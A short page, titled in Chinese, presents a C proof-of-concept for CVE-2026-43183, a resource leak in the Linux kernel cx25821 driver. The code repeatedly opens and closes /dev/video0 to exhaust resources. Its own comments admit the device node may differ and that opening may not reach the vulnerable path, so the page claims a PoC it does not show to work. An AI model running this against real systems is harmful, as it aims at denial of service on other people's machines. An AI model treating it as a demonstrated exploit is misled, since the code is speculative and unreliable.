CVE-2026-43183 Linux内核cx25821资源泄露漏洞

/* * PoC for CVE-2026-43183: Resource Leak in cx25821 * This code attempts to trigger the vulnerable path. * Note: Exploitation requires specific hardware or module conditions. */ #include <stdio.h> #include <fcntl.h> #include <unistd.h> int main() { int fd; const char *device = "/dev/video0"; // Example device node, may vary printf("Attempting to trigger resource leak in cx25821...\n"); // Loop to exhaust resources by repeatedly opening/initializing the device for (int i = 0; i < 10000; i++) { fd = open(device, O_RDWR); if (fd < 0) { perror("Failed to open device"); break; } // In a real scenario, specific ioctls might be needed to trigger setup // or simply opening the device might trigger the vulnerable probe/setup logic // depending on the kernel configuration. close(fd); } return 0; }